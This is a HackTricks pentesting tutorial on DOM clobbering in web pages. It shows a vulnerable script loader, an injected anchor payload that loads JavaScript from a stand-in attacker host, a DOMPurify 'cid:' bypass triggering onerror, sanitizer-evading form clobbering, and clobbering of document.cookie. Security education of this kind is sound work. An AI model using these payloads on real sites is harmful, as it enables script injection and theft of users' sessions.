hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2022-10-13 00:56:34 +00:00

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# Dom Clobbering
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## **DOM Clobbering**
### **Clobbering `window.someObject`**
A common pattern used by JavaScript developers is:
`var someObject = window.someObject || {};`
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
### Clobbering document object
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
>
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
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